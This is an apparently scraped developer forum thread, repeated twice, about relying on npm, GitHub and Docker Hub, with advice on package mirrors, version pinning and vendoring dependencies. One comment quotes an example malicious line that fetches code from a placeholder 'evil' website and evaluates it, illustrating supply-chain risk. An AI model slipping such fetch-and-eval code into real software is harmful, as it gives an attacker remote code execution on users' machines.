5 ms·

Gah. Moments like these always gives me a bit of panic, since I realize that so much of my software relies on external sources. Relying on npm, Atlassian/GitHu

Gah. Moments like these always gives me a bit of panic, since I realize that so much of my software relies on external sources. Relying on npm, Atlassian/GitHub etc really hurts when stuff like this happens. Issues always gets resolved, but cases such as the GitLab incident should be enough to always keep some local copies around.

stephengillie 9y ago
This is why I develop on Sourcetree for Github/Travis/Heroku inside a Dropbox folder. It gives another layer of flexibility and redundancy. If Dropbox fails, all I lose is filesystem sync - and one type of restoration - for a short while. (Bluntly, Github and Dropbox provide very similar services for synchronizing code between computers.) Having a redundant array of independent cloud providers seems the ideal state. This is the most effective way to provide a single source of truth without it becoming a single point of failure.
mschuster91 9y ago
> Gah. Moments like these always gives me a bit of panic, since I realize that so much of my software relies on external sources. Install an instance of Sonatype Nexus, create a proxy-repo for npm (and Maven if you also use Java) and that's it. What, however, won't be caught is Docker (because that crap insists on directly talking to the Dockerhub servers, which is a giant security hole waiting to happen) and PHP composer (because it likes to pull dependencies via git from GH, so no caching there).
- panarky 9y ago
  Or just don't .gitignore node_modules, then diff any changes to node_modules on update.
  - mschuster91 9y ago
    Does not work as soon as you use node modules that come with native components that have to be recompiled for the machine, and there are many of these. Colleagues have been bitten by this - one used OS X 10.11, the other 10.12, and they experienced weird bugs from this. Went away once they kicked out node_modules from git.
    - tomjakubowski 9y ago
      Yeah, it’s an annoying problem. Maybe you could gitignore the *.node (the native module file extension) files only. But I’m not sure how you’d rebuild those “on demand” after a checkout without running 'npm install' from the top level.
      - nawitus 9y ago
        I suppose npm rebuild would work.
  - matharmin 9y ago
    This was the officially recommended solution for long, but suffers from a few issues. Most notably for me is that pull requests that change any dependencies become impossible to read (on github at least).
  - zbentley 9y ago
    That has some advantages, but some really big drawbacks as well: - Incredibly slow git operations unless you use the perfect options every time (good luck, new devs). - Requires either very good discipline about updating just a few packages at a time (good luck when cascading dependencies that are shared at multiple levels of the tree update), or incredibly huge, confusing diffs to read. - Actually understanding the diffs you read. Packages updated to do things like 'http.get("$evil_website", (r) => eval(r))' are only a tiny fraction of the malicious or dangerous code you'll see in package updates.
- antonkm 9y ago
  Thanks for this, will look into it.
- cpuguy83 9y ago
  You can setup mirrors for dockerhub... Or any docker registry. You also can require image signing such that if an image is signed by an untrusted party it will fail.
  - mschuster91 9y ago
    > You can setup mirrors for dockerhub... Or any docker registry. But you can't make dockerd talk to this mirror by default, unless you're running the fossil Redhat fork. That is the problem: if you want to use Docker, you must open up your server to the Internet, and the entire Internet at it as the Docker infrastructure is loadbalanced and there are no guarantees the IPs will stay stable.
    - cpuguy83 9y ago
      Yes you can, that's the purpose of the mirror. To do this you set the "--registry-mirror" option on the daemon. The RH fork doesn't let you do mirrors, it let's you change the default registry, this is very different.
    - ownagefool 9y ago
      Just to re-iterate, docker supports mirrors as my sibling poster suggested. :)
tetha 9y ago
I've stopped wondering about NPMs structure. But still: Our bog-standard in-house java development setup would be unaffected by this class of problems. You need some kind of private maven repository, and nexus or artifactory automatically mirrors downloaded dependencies. And on top of that, versions are pinned per default. So new malicious versions wouldn't be used either. We could safely build new hotfix releases even with maven central 100% down or compromised. Granted, we do depend on bitbucket. However, I am honestly scared to self-host our code. This is a small but old shop, so the entire code base is easily several million dollars worth in man-hours alone. And then again, it's git, so if push comes to shove, we could easily and quickly spin up an internal gitlab instance and push our stuff there to get back up.
- ilaksh 9y ago
  npm does pin versions by default (although originally they did not). The fact that you _need_ to have a local mirror for Maven isn't really a plus for Java. You can get a local mirror or similar setup for npm also.
  - Deinumite 9y ago
    It is not a requirement for Java it is just standard practice. Also Maven does not allow you to remove packages once they are pushed, I think that is what he meant by Java being unaffected.
    - ilaksh 9y ago
      npm also does not allow you to remove packages. read my comment more carefully.
jasonkester 9y ago
Why would you allow that to happen? I don't think there is any part of my little software empire that is dependant on code for which I don't have the source or underlying .dll checked into source control. It's part of your project. You absolutely need a copy of it.
- antonkm 9y ago
  I take it you're replying to me? My little software empire also keep local copies, that kind of defeats the purpose of using git for teamwork or package management to keep dependencies in check. These are building blocks in a normal dev environment, and it would take me massive amounts of time to manage everything on my own. The local copies are fragile and not as easily shared.
  - jasonkester 9y ago
    You've lost me. Why would it take more time to check in your dependencies and have the rest of your team get them out of source control? All the package manager would do would be to download them off the internet to the same location. Might as well only have one guy do that once and be done with it. You need to archive them somewhere anyway (to mitigate the issue we're discussing here), so why not keep them in the obvious place?
matharmin 9y ago
Having additional copies is always a good idea, but you already get that by just installing the modules on developers' machines. At some point you have to trust a third party. Even if you run your own hardware, you still depend on power and internet provided by someone else. And unless you are a massive company, time is typically spent much better on other things than hosting your own NPM packages and git repos.

stephengillie 9y ago

This is why I develop on Sourcetree for Github/Travis/Heroku inside a Dropbox folder. It gives another layer of flexibility and redundancy. If Dropbox fails, all I lose is filesystem sync - and one type of restoration - for a short while. (Bluntly, Github and Dropbox provide very similar services for synchronizing code between computers.) Having a redundant array of independent cloud providers seems the ideal state. This is the most effective way to provide a single source of truth without it becoming a single point of failure.

mschuster91 9y ago

> Gah. Moments like these always gives me a bit of panic, since I realize that so much of my software relies on external sources. Install an instance of Sonatype Nexus, create a proxy-repo for npm (and Maven if you also use Java) and that's it. What, however, won't be caught is Docker (because that crap insists on directly talking to the Dockerhub servers, which is a giant security hole waiting to happen) and PHP composer (because it likes to pull dependencies via git from GH, so no caching there).

panarky 9y ago
Or just don't .gitignore node_modules, then diff any changes to node_modules on update.
- mschuster91 9y ago
  Does not work as soon as you use node modules that come with native components that have to be recompiled for the machine, and there are many of these. Colleagues have been bitten by this - one used OS X 10.11, the other 10.12, and they experienced weird bugs from this. Went away once they kicked out node_modules from git.
  - tomjakubowski 9y ago
    Yeah, it’s an annoying problem. Maybe you could gitignore the *.node (the native module file extension) files only. But I’m not sure how you’d rebuild those “on demand” after a checkout without running 'npm install' from the top level.
    - nawitus 9y ago
      I suppose npm rebuild would work.
- matharmin 9y ago
  This was the officially recommended solution for long, but suffers from a few issues. Most notably for me is that pull requests that change any dependencies become impossible to read (on github at least).
- zbentley 9y ago
  That has some advantages, but some really big drawbacks as well: - Incredibly slow git operations unless you use the perfect options every time (good luck, new devs). - Requires either very good discipline about updating just a few packages at a time (good luck when cascading dependencies that are shared at multiple levels of the tree update), or incredibly huge, confusing diffs to read. - Actually understanding the diffs you read. Packages updated to do things like 'http.get("$evil_website", (r) => eval(r))' are only a tiny fraction of the malicious or dangerous code you'll see in package updates.
antonkm 9y ago
Thanks for this, will look into it.
cpuguy83 9y ago
You can setup mirrors for dockerhub... Or any docker registry. You also can require image signing such that if an image is signed by an untrusted party it will fail.
- mschuster91 9y ago
  > You can setup mirrors for dockerhub... Or any docker registry. But you can't make dockerd talk to this mirror by default, unless you're running the fossil Redhat fork. That is the problem: if you want to use Docker, you must open up your server to the Internet, and the entire Internet at it as the Docker infrastructure is loadbalanced and there are no guarantees the IPs will stay stable.
  - cpuguy83 9y ago
    Yes you can, that's the purpose of the mirror. To do this you set the "--registry-mirror" option on the daemon. The RH fork doesn't let you do mirrors, it let's you change the default registry, this is very different.
  - ownagefool 9y ago
    Just to re-iterate, docker supports mirrors as my sibling poster suggested. :)

tetha 9y ago

I've stopped wondering about NPMs structure. But still: Our bog-standard in-house java development setup would be unaffected by this class of problems. You need some kind of private maven repository, and nexus or artifactory automatically mirrors downloaded dependencies. And on top of that, versions are pinned per default. So new malicious versions wouldn't be used either. We could safely build new hotfix releases even with maven central 100% down or compromised. Granted, we do depend on bitbucket. However, I am honestly scared to self-host our code. This is a small but old shop, so the entire code base is easily several million dollars worth in man-hours alone. And then again, it's git, so if push comes to shove, we could easily and quickly spin up an internal gitlab instance and push our stuff there to get back up.

ilaksh 9y ago
npm does pin versions by default (although originally they did not). The fact that you _need_ to have a local mirror for Maven isn't really a plus for Java. You can get a local mirror or similar setup for npm also.
- Deinumite 9y ago
  It is not a requirement for Java it is just standard practice. Also Maven does not allow you to remove packages once they are pushed, I think that is what he meant by Java being unaffected.
  - ilaksh 9y ago
    npm also does not allow you to remove packages. read my comment more carefully.

jasonkester 9y ago

Why would you allow that to happen? I don't think there is any part of my little software empire that is dependant on code for which I don't have the source or underlying .dll checked into source control. It's part of your project. You absolutely need a copy of it.

antonkm 9y ago
I take it you're replying to me? My little software empire also keep local copies, that kind of defeats the purpose of using git for teamwork or package management to keep dependencies in check. These are building blocks in a normal dev environment, and it would take me massive amounts of time to manage everything on my own. The local copies are fragile and not as easily shared.
- jasonkester 9y ago
  You've lost me. Why would it take more time to check in your dependencies and have the rest of your team get them out of source control? All the package manager would do would be to download them off the internet to the same location. Might as well only have one guy do that once and be done with it. You need to archive them somewhere anyway (to mitigate the issue we're discussing here), so why not keep them in the obvious place?

matharmin 9y ago

Having additional copies is always a good idea, but you already get that by just installing the modules on developers' machines. At some point you have to trust a third party. Even if you run your own hardware, you still depend on power and internet provided by someone else. And unless you are a massive company, time is typically spent much better on other things than hosting your own NPM packages and git repos.